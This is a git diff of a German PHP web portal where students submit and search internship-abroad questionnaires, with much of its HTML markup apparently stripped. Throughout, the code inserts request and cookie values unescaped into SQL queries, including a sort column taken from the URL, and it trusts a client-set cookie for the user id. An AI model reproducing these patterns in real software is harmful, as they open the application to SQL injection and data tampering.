+ +"; +exit; +} + +} // Ende IF von Action Abfrage +?> \ No newline at end of file diff --git a/logout.php b/logout.php new file mode 100755 index 0000000..dac660a --- /dev/null +++ b/logout.php @@ -0,0 +1,64 @@ + + + + +Zugang gesperrt + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ +
+ Abmeldung
+
+
+
+

Der Logoutvorgang wurde erfolgreich abgeschlossen! +

+

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +?> \ No newline at end of file diff --git a/menuframe.php b/menuframe.php new file mode 100755 index 0000000..df7766b --- /dev/null +++ b/menuframe.php @@ -0,0 +1,121 @@ + + + + + +Menu + + + + + + + + + + + + + + + + + + +
+ + + + + + +
+ +   Menu +
+
+ + + + + + +
  +

+

+
+ + + + +
+
+  Â· + Fragebogen ausfüllen +
+  Â· + Suchen nach Berichten +
+
"; + $db = dbconnect(); + $query = "SELECT beschreibung, dateiname, target + FROM aesp_admin_rechte a, aesp_admin_rechte_zuord b + WHERE a.aesp_admin_rolle = b.aesp_admin_rolle + AND b.uid = '$uid' + ORDER BY sort_order ASC + "; + + $result = $db->query($query) + or die ("Cannot execute query"); + $ln_zaehler = 0; + while ($row = $result->fetch_array()){ + if($ln_zaehler == 0){ + echo "Administration
"; + } + echo" +  Â· + $row[beschreibung]
"; + $ln_zaehler = 1; + } + + echo" +
 Â· + Logout
+
+
+ +
+
+ + + + +
+
+
+ + + +"; +?> \ No newline at end of file diff --git a/neuanlage.php b/neuanlage.php new file mode 100755 index 0000000..2f93b40 --- /dev/null +++ b/neuanlage.php @@ -0,0 +1,1284 @@ +query("SELECT 1 FROM aesp_admin_rechte_zuord WHERE uid = '$uid' AND aesp_admin_rolle = 'a_neuanlag'"); +$row = $result->fetch_array(); +if ($row[0] != 1){ include("aespa/rechte.php"); exit;} +// Rechteüberprüfung ende + +if (isset($_GET['action'])) + $action = $_GET['action']; +else + $action = ""; + +switch($action){ +default: + +echo " + + + + +>Student bearbeiten + + + + + + +
+
+ + + + + + + + + + + + + + + + +
+ +
+ Neuanlage / Bearbeiten des Fragebogens
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+   +

  +

+

+

+

+

  +

+

+

+

+

+ "; + $db = dbconnect(); + $query = "SELECT uid, nachname, vorname, ag, jahrgang, durchgefallen FROM kurs.stud WHERE durchgefallen != 'Y' ORDER BY nachname"; + $result = $db->query ($query) + or die ("Cannot execute query"); + echo " +

+

+

+

+

+   +

+

+ + +
+ +   +
+ + + +
+   +
+
+
+
+ + +
+
+
+ +"; +break; +case "studbearb": + +if(!isset($_POST[stud_uid])){ + $uid1 = $_GET['stud_uid']; +}else{ + $uid1 = $_POST['stud_uid']; +} + + + +setcookie("ck_uid1",$uid1); + + $db = dbconnect(); + $result = $db->query("SELECT kontinent + , land + , stadt + , adresse + , ansprechpartner + , abteilung + FROM aesp_bewerbung + WHERE uid='$uid1'"); + $row3 = $result->fetch_array(); + setcookie("ck_lid",$row3[land]); +echo " + + + + + + +Fragebogen zum Auslandspraktikum + + + + + + + + +

Fragebogen zum Auslandspraktikum

+

+

+

 

+
+
"; + + $db = dbconnect(); + #echo "SELECT vorname, nachname, ag, jahrgang, postrasse, poplz, poort, mail2 FROM kurs.stud WHERE uid='$uid1'"; + #exit; + $result = $db->query("SELECT vorname, nachname, ag, jahrgang, postrasse, poplz, poort, mail2 FROM kurs.stud WHERE uid='$uid1'"); + $row = $result->fetch_array(); + + + + + echo" + + + + + + + + + + + + + + + + + + + + + + + + + + + "; + $result_einver = $db->query("SELECT einverst FROM aesp_pers_ang WHERE uid='$uid1'"); + $row_einver = $result_einver->fetch_array(); + echo" + + + + + + + + +
+

+ Persönliche Angaben
+
Deine persönlichen Daten + werden streng vertraulich behandelt und dienen in erster Linie nur + uns, um dir eventuelle Rückfragen zu stellen! +

+

+
+ Vorname +

+

+
+ $row[vorname] +

+

+ Nachname +

+

+ $row[nachname] +

+

+ AG +

+

+ $row[ag] / $row[jahrgang] +

+
+

+ Strasse, Nr.

+

+ $row[postrasse] +

+

+ PLZ, Ort

+

+ $row[poplz] $row[poort] +

+

+ Private Emailadresse

+

+ +

+

+

+

+ + Ich bin damit einverstanden, dass meine Emailadresse für eventuelle Nachfragen veröffentlicht wird. +

+

 

+

+  

+

 

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Bewerbungsanschrift +

+

+ Kontinent

+

"; + $db = dbconnect(); + + $query2 = "SELECT kid, kontinent FROM aesp_kontinent ORDER BY kontinent ASC"; + $result2 = $db->query ($query2) + or die ("Cannot execute query"); + echo "

+

+ Land

+

+

+

+ Stadt

+

+

+
+

+ Postanschrift +

+

+

+
+

+ Ansprechpartner

+

+

+
+

+ Abteilung +

+

+

+
+

 

+

+  

+
+ +

  +

"; + + $db = dbconnect(); + $result = $db->query("SELECT date_format(zeitraum_von, '%d') von_tag + , date_format(zeitraum_von, '%m') von_mon + , date_format(zeitraum_von, '%Y') von_jahr + , date_format(zeitraum_bis, '%d') bis_tag + , date_format(zeitraum_bis, '%m') bis_mon + , date_format(zeitraum_bis, '%Y') bis_jahr + , abteilung_genau + , platz_gefunden + , visum + , transport + , beginn_vorbereitung + , erasmus + , auslandskostenzuschlag + , bereich + , beschreibung + , aufgaben + FROM aesp_allgemein + WHERE uid='$uid1'"); + $row = $result->fetch_array(); + + echo " + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Allgemeines zum Praktikum +

+

+
+ Zeitraum

+

+
+ .. bis .. +

+
+

+ Genaue Bezeichnung der Abteilung

+

+

+
+


+ Wie hast du Deinen Praktikumsplatz gefunden?

+

+

+


+ Wie hast du + die Reise organisiert und wie teuer war diese etwa?

+

+ - Visum .

+

+

+

+ - Transport

+

+

+


+ Wann hast du + mit den Vorbereitungen für das Praktikum begonnen?

+

+

+

+
+ Hast du Erasmusmittel beantragt und wie hoch waren diese? +

+

+

+

+
+ Hast du einen Auslandskostenzuschlag beantragt und wie hoch war dieser? +

+

+

+

+
+ In + welchen Bereich kann man deinen Praktikumsplatz einordnen?

+

+ + Öffentliche Verwaltung
+ Freie Wirtschaft
+ Sonstiges + +

+


+ Bitte + beschreibe die Stelle kurz:

+

+

+


+ Deine + Aufgaben bei dieser Stelle waren:

+

+

+

 

+

+  

+
+
+

 

+
"; + $db = dbconnect(); + $result = $db->query("SELECT wo_gefunden + , ag_hilfe + , kosten + FROM aesp_unterkunft + WHERE uid='$uid1'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Zur Unterkunft

+


+ Wo hast du + gewohnt und wie hast du die Wohnung gefunden?

+

+

+

+
+ Wurde + dir von Arbeitgeberseite bei der Suche geholfen oder gar eine + Unterkunft zur Verfügung gestellt?

+

+

+


+ Was hat dich deine Wohnung gekostet?

+

+

+

 

+

+  

+
+

 

+
"; + $db = dbconnect(); + $result = $db->query("SELECT einbindung + , aufnahme + , interessant + , gefordert + , dazulernen + , sprachprobleme + , erfahrungen + , schwierigkeiten + FROM aesp_bewertung + WHERE uid='$uid1'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Bewertung deiner Stelle +
+ Gib + auf einer Skala von 1 bis 10 an wie sehr diese Aussage auf deine + Stelle zutrifft! 10 heißt dabei, dass es genau so war, eine 1 + bedeutet, dass es das Gegenteil der Aussage war. Bleib objektiv + ;)
+  +

+

+ Ich wurde + sehr gut in die tägliche Arbeit mit eingebunden

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Ich fühlte + mich auch unter den Kollegen gut aufgenommen

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Die mir + gestellten Ausgaben waren interessant

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Ich fühlte + mich gefordert

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Ich habe + etwas dazulernen können

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Ich hatte + keinerlei Probleme mit der Sprache

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+ Ich konnte viele gute Erfahrungen sammeln

+ + 1     + 2     + 3     + 4     + 5     + 6     + 7    + 8     + 9     + 10 + +
+

+
+ Eventuelle + Schwierigkeiten

+
+
+

 

+

+  

+
+
+

 

+
"; + $db = dbconnect(); + $result = $db->query("SELECT lebenshaltungskosten + , unternehmen + , kontakte + , schwierigkeit_kontakte + FROM aesp_freizeit + WHERE uid='$uid1'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + + + + + + + + + + + + + + +
+

+ Freizeit
+  
+

+

+ + Lebensunterhaltskosten/Woche ca.

+
+

+ Was konnte + man unternehmen?
+ (Tagsüber und Nachts)

+
+

+ Konntest du + Kontakte knüpfen?

+
+

+ War dies + eher leicht/schwer?

+
+

 

+

+  

+

 

+
+
"; + $db = dbconnect(); + $result = $db->query("SELECT letzte_worte + FROM aesp_schluss + WHERE uid='$uid1'"); + $row = $result->fetch_array(); + echo" + + + + + + + + + + + +
+

+ Deine abschließenden Worte
+ Was du einem + Studenten mit auf den langen Weg ins Ausland geben möchtest! Ein + paar gute Tipps vielleicht?
+  +

+

+

+

 

+

+  

+
+
+
+ +
+

 

+

  +

 

+

 

+

 

+

 

+ + + + +"; +break; +case "auswertung": +$uid1=$_COOKIE["ck_uid1"]; +$fehler = TRUE; + +$db = dbconnect(); + + +## Persönliche Angaben ## +$mail=$_POST['mail']; +$eiver_rueckfr=$_POST['eiver_rueckfr']; + +if($eiver_rueckfr == ''){ + $eiver_rueckfr = 'N'; +} + +$sql = $db->query ("DELETE FROM aesp_pers_ang WHERE uid = '$uid1'"); +$sql = $db->query ("UPDATE kurs.stud SET mail2 = '$mail' WHERE uid = '$uid1'"); +$sql = $db->query ("INSERT INTO aesp_pers_ang + (uid, einverst) + VALUES + ('$uid1', '$eiver_rueckfr')"); + + +if(!$sql){ + $fehler = FALSE; +} + +## Bewerbung ## +$kontinent=$_POST['dhtmlgoodies_country']; +$land=$_POST['dhtmlgoodies_city']; +$stadt=$_POST['stadt']; +$adresse=$_POST['kontaktadresse']; +$ansprechpart=$_POST['ansprechpart']; +$abteilung=$_POST['abteilung']; + +$sql = $db->query ("DELETE FROM aesp_bewerbung WHERE uid = '$uid1'"); +$sql = $db->query ("INSERT INTO aesp_bewerbung + (uid, kontinent, land, stadt, adresse, ansprechpartner, abteilung) + VALUES + ('$uid1', '$kontinent', '$land', '$stadt', '$adresse', '$ansprechpart', '$abteilung')"); +if(!$sql){ + $fehler = FALSE; +} + + + +## Allgemein ## +$sql = $db->query ("DELETE FROM aesp_allgemein WHERE uid = '$uid1'"); + +$zeitraum_von="$_POST[von_jahr]-$_POST[von_monat]-$_POST[von_tag]"; +$zeitraum_bis="$_POST[bis_jahr]-$_POST[bis_monat]-$_POST[bis_tag]"; +$abteilung_genau=$_POST['abteilung_genau']; +$platz_gefunden=$_POST['platz_gefunden']; +$visum=$_POST['visum']; +$transport=$_POST['transport']; +$beginn_vorbereitung=$_POST['vorbereitungsbeginn']; +$erasmus=$_POST['erasmus']; +$auslandskostenzuschlag=$_POST['auslandszuschlag']; +$bereich=$_POST['bereich']; +$beschreibung=$_POST['stellenbeschreibung']; +$aufgaben=$_POST['aufgaben']; + + +$sql = $db->query ("INSERT INTO aesp_allgemein + (uid, zeitraum_von, zeitraum_bis, abteilung_genau, platz_gefunden, visum, transport, beginn_vorbereitung, erasmus, auslandskostenzuschlag, bereich, beschreibung, aufgaben) + VALUES + ('$uid1', '$zeitraum_von', '$zeitraum_bis', '$abteilung_genau', '$platz_gefunden', '$visum', '$transport', '$beginn_vorbereitung', '$erasmus', '$auslandskostenzuschlag', '$bereich', '$beschreibung', '$aufgaben')"); + + + +if(!$sql){ + $fehler = FALSE; +} + + +## Unterkunft ## +$sql = $db->query ("DELETE FROM aesp_unterkunft WHERE uid = '$uid1'"); + +$wo_gefunden=$_POST['wo_gefunden']; +$ag_hilfe=$_POST['ag_hilfe']; +$kosten= $_POST['kosten']; + +$sql = $db->query ("INSERT INTO aesp_unterkunft + (uid, wo_gefunden, ag_hilfe, kosten) + VALUES + ('$uid1', '$wo_gefunden', '$ag_hilfe', '$kosten')"); + + +if(!$sql){ + $fehler = FALSE; +} + + +## Bewertung ## +$sql = $db->query ("DELETE FROM aesp_bewertung WHERE uid = '$uid1'"); +$einbindung=$_POST['einbindung']; +$aufnahme=$_POST['aufnahme']; +$interessant= $_POST['interessant']; +$gefordert=$_POST['gefordert']; +$dazulernen=$_POST['dazulernen']; +$sprachprobleme=$_POST['sprachprobleme']; +$erfahrungen=$_POST['erfahrungen']; +$schwierigkeiten=$_POST['schwierigkeiten']; + + +$sql = $db->query ("INSERT INTO aesp_bewertung + (uid, einbindung, aufnahme, interessant, gefordert, dazulernen, sprachprobleme, erfahrungen, schwierigkeiten) + VALUES + ('$uid1', '$einbindung', '$aufnahme', '$interessant', '$gefordert', '$dazulernen', '$sprachprobleme', '$erfahrungen', '$schwierigkeiten')"); +if(!$sql){ + $fehler = FALSE; +} + +## Freizeit ## +$sql = $db->query ("DELETE FROM aesp_freizeit WHERE uid = '$uid1'"); +$lebenshaltungskosten=$_POST['lebenshaltungskosten']; +$unternehmen=$_POST['unternehmen']; +$kontakte= $_POST['kontakte']; +$schwierigkeit_kontakte=$_POST['schwierigkeit_kontakte']; + +$sql = $db->query ("INSERT INTO aesp_freizeit + (uid, lebenshaltungskosten, unternehmen, kontakte, schwierigkeit_kontakte) + VALUES + ('$uid1', '$lebenshaltungskosten', '$unternehmen', '$kontakte', '$schwierigkeit_kontakte')"); +if(!$sql){ + $fehler = FALSE; +} + + +## Schlussbemerkung +$sql = $db->query ("DELETE FROM aesp_schluss WHERE uid = '$uid1'"); + + + +$letzte_worte=$_POST['letzte_worte']; +$sql = $db->query ("INSERT INTO aesp_schluss + (uid, letzte_worte) + VALUES + ('$uid1', '$letzte_worte')"); +if(!$sql){ + $fehler = FALSE; +} + + +if($fehler == TRUE){ // wenn alle Inserts erfolgreich durchgelaufen sind, dann erfolgsmeldung +echo" + + + + + +Eingabefehler + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ +
+ Einbindung
+
+
+
+

Herzlichen Dank! +
+ Wir möchten uns ganz herzlich bei Dir dafür bedanken, dass Du die Mühe auf + dich genommen hast, diesen Bogen auszufüllen und somit allen + Studierenden nach dir einiges an Sorgen und Ängsten genommen + hast!
+ Wenn Du Lust hast, schau einfach mal rein auf die Seite des + Akademischen Auslandsamtes. Dort wird demnächst neben allerlei + hilfreichen Dingen auch ein Forum und das Ergebnis dieses Bogens + zu finden sein! Wir wünschen Dir noch viel Freude und auch viel + Erfolg auf Deinem weiteren Weg!    + AESPA +

+

+ + überarbeiten +   +   +   +   +   + Startseite +

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +exit; +}else{ +echo" + + + + + +Eingabefehler + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ +
+ Fehler
+
+
+
+

Die Daten konnten nicht eingebunden werden! +
+ Setzen Sie sich bitte mit dem AESPA in Verbindung! +
+

+

+ zurück +   +   +   +   +   + Logout +

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +exit; +} + + + + +} // Ende Action script +?> \ No newline at end of file diff --git a/styles_pc.css b/styles_pc.css new file mode 100755 index 0000000..f02c95e --- /dev/null +++ b/styles_pc.css @@ -0,0 +1,119 @@ +font.hd { /* Überschrifteinstellungen */ + font-family : Verdana,Arial,Helvetica,sans-serif; + font-size : 17px; + font-weight : bold; + color : #002276; +} + +.sh { /* Subheader */ + font-weight : normal; + font-size : 12px; + color : rgb(101, 101, 101); + font-family : Arial,Helvetica,sans-serif; +} + +li { /* Aufzählungen */ + font-weight : normal; + font-size : 12px; + font-family : Arial,Helvetica,sans-serif; +} + +.formdesc { + padding-left : 10px; + width : 33%; + color : rgb(255, 255, 255); + background-color : rgb(146, 155, 171); + font-weight : bold; +} + +.login { + background-color : #f1f2f6; +} + + +a { + font-family : verdana, arial; + font-weight : normal; + color : #000066; +} + + +body { + font-family : verdana, arial; + font-size : 9pt; + color : #000000; +} + + + +td { + font-family : verdana, arial; + font-size : 9pt; + color : #000000; +} + + +h1 { + font-family : verdana, arial; + font-size : 8pt; + font-weight : bold; +} + + +.uberschrift { + font-family : verdana, arial; + font-size : 12pt; + font-weight : bold; + color : #006699; +} + + +.bemerkung { + font-family : verdana, arial; + font-size : 8pt; + font-weight : bold; + color : #FF0000; + text-transform : uppercase; /* Großbuchstaben */ +} + + +.farbe { /* Hintergrundsfarbe im Titel bei Export Word, Aushänge */ + background-color : #6487DC; +} + + +.contentfarbe { /* Hintergrundsfarbe in Tabellen bei Inhalten */ + background-color : #DEDEDE; +} + + +.titel { /* Kopfframe */ + font-weight : bold; + text-decoration : none; + font-family : verdana, arial; + font-size : 16pt; + color : #FFFFFF; +} + + +.footer { /* Fußzeile (Copyright) */ + text-decoration : none; + font-family : verdana, arial; + font-size : 8pt; +} + + +.nav_link { /* Hyperlinks in der Navigation */ + text-decoration : none; + font-family : verdana, arial; + font-size : 8pt; + height : 13pt; +} + + +.nav_head { /* Überschriften in der Navigation */ + font-weight : bold; + text-decoration : none; + font-family : verdana, arial; + font-size : 9pt; +} \ No newline at end of file diff --git a/suche.php b/suche.php new file mode 100755 index 0000000..1eab1dd --- /dev/null +++ b/suche.php @@ -0,0 +1,393 @@ + + + +Suche zum Auslandspraktikum + + + + + + + + + + + +

Suche zum Auslandspraktikum

+

+

+

 

+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

+   +

+

+ Kontinent

+

"; + $db = dbconnect(); + + $query2 = "SELECT distinct a.kid, a.kontinent + FROM aesp_kontinent a, aesp_bewerbung b + WHERE a.kid = b.kontinent + ORDER BY kontinent ASC"; + $result2 = $db->query ($query2) + or die ("Cannot execute query"); + echo "

+

+ Land

+

+

+

+ ab Jahrgang +

+

"; + $query2 = "SELECT DATE_Format(zeitraum_von, '%Y') jahrgang + FROM aesp_allgemein + ORDER BY jahrgang ASC + "; + + $result2 = $db->query ($query2) + or die ("Cannot execute query"); + echo " + +

+
+   +
+ +
+

 

+

+  

+
+
+
+
Es werden nur verfügbare Kontinente / Länder / Jahrgänge angezeigt!
+ + + +"; +break; +case "auswertung": + +if(!isset($_POST['dhtmlgoodies_country'])){ + $kontinent=$_GET['kontinent']; +}else{ + $kontinent=$_POST['dhtmlgoodies_country']; +} + + +if(!isset($_POST['dhtmlgoodies_city'])){ + $land=$_GET['land']; +}else{ + $land=$_POST['dhtmlgoodies_city']; +} + +if(!isset($_POST['jahrgang'])){ + $jahrgang=$_GET['jahrgang']; +}else{ + $jahrgang=$_POST['jahrgang']; +} + + +$sort = $_GET["sort"]; +$option = $_GET["option"]; + +if($option == 'ASC'){ + $option = 'DESC'; +}else{ + $option = 'ASC'; +} + +if(!isset($sort)){ + $sort = "kontinent"; +} + + + +## Anzahl der Treffer ermitteln +$db = dbconnect(); +$result_anz = $db->query("SELECT count(*) anz_treffer + FROM aesp_bewerbung a, aesp_allgemein b + WHERE a.uid = b.uid + AND a.kontinent LIKE '$kontinent' + AND a.land LIKE '$land' + AND DATE_Format(zeitraum_von, '%Y') >= '$jahrgang'"); +$row_anz = $result_anz->fetch_array(); +echo " + + + +Statistik + + + + + + + + +
+
+ + + + + + + + + + + + + + + + +
+ +
+ Suchergebnisse
+ Treffer: $row_anz[anz_treffer]
+
+
+ + + + + + + + + + "; + $db = dbconnect(); + + $query = "SELECT a.uid, a.kontinent, a.land, a.stadt, date_format(zeitraum_von, '%d.%m.%Y') datum, zeitraum_von + FROM aesp_bewerbung a, aesp_allgemein b + WHERE a.uid = b.uid + AND a.kontinent LIKE '$kontinent' + AND a.land LIKE '$land' + AND DATE_Format(zeitraum_von, '%Y') >= '$jahrgang' + ORDER BY $sort $option + "; + + $result = $db->query($query) + or die ("Cannot execute query"); + while ($row = $result->fetch_array()){ + $result_kont = $db->query("SELECT kontinent + FROM aesp_kontinent + WHERE kid='$row[kontinent]'"); + $row_kont = $result_kont->fetch_array(); + + $result_land = $db->query("SELECT land + FROM aesp_land + WHERE lid='$row[land]'"); + $row_land = $result_land->fetch_array(); + + echo " + + + + + + + + "; + } + echo" +
"; + if($sort == 'kontinent'){ + echo "Kontinent"; + }else{ + echo "Kontinent"; + } + echo " + "; + if($sort == 'land'){ + echo "Land"; + }else{ + echo "Land"; + } + echo " + "; + if($sort == 'stadt'){ + echo "Stadt"; + }else{ + echo "Stadt"; + } + echo " + "; + if($sort == 'zeitraum_von'){ + echo "Zeitraum ab"; + }else{ + echo "Zeitraum ab"; + } + echo " + + Link +
+ $row_kont[kontinent] + + $row_land[land] + + $row[stadt] + + $row[datum] + + Ansehen +
+
+
+ + +
+
+

+ +

+ + +"; + +} +?> diff --git a/topframe.php b/topframe.php new file mode 100755 index 0000000..29b7516 --- /dev/null +++ b/topframe.php @@ -0,0 +1,35 @@ +query("INSERT INTO aesp_userlog (Datum, IP, uid) VALUES ('$datum', '$ip', '$uid')"); + +// Ende Log Datei +echo" + + + + + + +Leitgedanken + + + + +

AESPA Online

+ + +"; +?> \ No newline at end of file